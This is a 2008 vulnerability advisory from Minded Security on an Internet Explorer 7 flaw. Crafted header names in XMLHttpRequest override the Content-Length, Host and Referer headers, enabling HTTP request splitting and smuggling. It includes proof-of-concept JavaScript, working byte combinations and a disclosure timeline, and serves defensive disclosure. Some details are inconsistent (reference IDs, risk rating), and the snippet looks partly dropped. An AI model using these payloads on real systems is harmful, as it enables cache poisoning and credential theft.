IE7 allows overwriting of several headers leading toHttp request Splitting and smuggling.

Risk: Low
Local: Yes
Remote: Yes

CVSS Base Score: 7.1/10
Impact Subscore: 6.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

MSA01240108: IE7 allows overwriting of several headers leading to Http request Splitting and smuggling. Date: March 21th, 2008 Tested Versions: Internet Explorer 7.0.5730.11 Tested OS: Windows XP Professional SP2 Italian Minded Security ReferenceID: MSA02240108 Credits: Discovery by Stefano Di Paola of Minded Security stefano.dipaola [_at_] Permalink: Severity: Medium/High [ Summary ] Internet Explorer 7 allows overwrite of headers such Content-Length, Host and Referer, exposing the browser to Http Request Splitting. [ Analysis ] By trying the following javascript - or similar: ---------------------------------------------- var x=new XMLHttpRequest();"POST","/"); for(f=127;f<255;f++) try{ x.setRequestHeader("Host"+String.fromCharCode(f),"Test"); }catch(dd){} x.setRequestHeader("Connection","keep-alive"); x.onreadystatechange=function (){ if (x.readyState == 4){ } } x.send("blah"); ---------------------------------------------- Headers found to be overwritable are: - Content-Length (one of the following): x.setRequestHeader("Content-Length"+String.fromCharCode(201),"0"); x.setRequestHeader("Content-Length"+String.fromCharCode(233),"0"); x.setRequestHeader("Content-Length"+String.fromCharCode(240) +String.fromCharCode(213),"0"); - Host (one of the following): x.setRequestHeader("Host"+String.fromCharCode(223), ""); - Referer (one of the following): x.setRequestHeader("Referer"+String.fromCharCode(205)+ String.fromCharCode(155),"http://www.referrer.tld"); x.setRequestHeader("Referer"+String.fromCharCode(237)+ String.fromCharCode(155),"http://www.referrer.tld"); Several combination of characters > 127 were found to work, this means that the chars listed above are only a working subset. The effects of those issues are quite understandable from a security point of view (see references): 1. Proxy cache poisoning 2. Credential stealing 3. several other attacks.. My understanding about the issue is that there's some ascii-to-utf-8 / utf-8-to-ascii error which leads to some kind of bypass when checking header names against protected ones. [ Credits ] Stefano di Paola is credited with the discovery of this vulnerability. [ Thanks ] To Amit Klein for his valuable research. [ Disclosure Timeline ] 25/01/2008 Initial vendor notification 25/01/2008 Vendor Confirmed 21/03/2008 Public advisory [ Reference ] [1] "Http Request Smuggling", Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, 2005. [2] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more...", Amit Klein, 2005. [3] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin", 2006. [4] "Auto Injecting Cross Domain Scripting", pp 6-7, Stefano Di Paola, Giorgio Fedon, 2007 [ Disclaimer ] The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of Minded Security Research Lab. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail for permission. Copyright (c) 2008 Minded Security, S.r.l.. All rights reserved worldwide. -- --- Research Labs Minded Security S.r.l. Web: Mail:

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